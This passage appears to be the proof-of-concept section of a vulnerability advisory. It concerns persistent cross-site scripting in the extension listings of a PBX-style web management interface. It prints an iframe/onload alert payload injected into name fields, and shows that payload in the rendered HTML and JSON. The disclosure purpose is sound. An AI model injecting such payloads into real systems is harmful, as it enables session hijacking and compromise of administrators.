Proof of Concept:
=================
The vulnerabilities can be exploited by local privileged user accounts with low user inter action or remote via manipulated 
http request & high required user inter action. For demonstration or reproduce ...


Code Review: Listing Category (All; Routing Extension; Auto Attendants)  [EXECUTION OF PERSISTENT SCRIPT CODE]

<td class="detailTD">
<div style="float: left;" class="printedName">
"><iframe div="" <="" onload='alert("VL")' src="a">
</td><script type="text/javascript">extensions_register('extOp530748', 'extOp530748-ext144', {"flag_super":"0","flag_locked":
"0","bbx_extension_rcd":"2012-02-16 
11:21:48.105901","bbx_extension_block_begin":"2088","map"{"bbx_conference_id":null,"bbx_provider_gateway_id":null,"sort_name":
"\"><iframe src=a onload=alert(\"vl\") <","bbx_valet_parking_id":null,"bbx_extension_entity_map_id":"82","bbx_extension_entity_
map_fallback_exten":null,"bbx_
extension_entity_map_metadata":null,"bbx_user_id":null,"bbx_router_id":"20","bbx_group_id":null,"bbx_callflow_id":null,"_force_
row_refresh":"0","show_name":"\"><[EXECUTION OF PERSISTENT SCRIPT CODE]
<","bbx_queue_id":null,"bbx_tdm_card_port_id":null,"flag_standalone":"1","bbx_auto_attendant_id":null,"bbx_extension_id_
forward":null},"bbx_extension_name":null,"bbx_domain_id":"6","bbx_extension_block_end":"2088","type_id":

{"id":"20","type":"router","col":"bbx_router_id"},"map_id":"82","flag_external":"0","flag_voicemail":"0","bbx_extension_value"
:"2088","ldap":0,"bbx_extension_rpd":"2012-02-16 11:21:49.06783","user_synced":null,"printed_name":"\"><[EXECUTION OF PERSISTENT SCRIPT CODE]
<","bbx_extension_id":"144","group_synced":null,"type":"router","flag_auto_provision":"0"});</script>
</tr>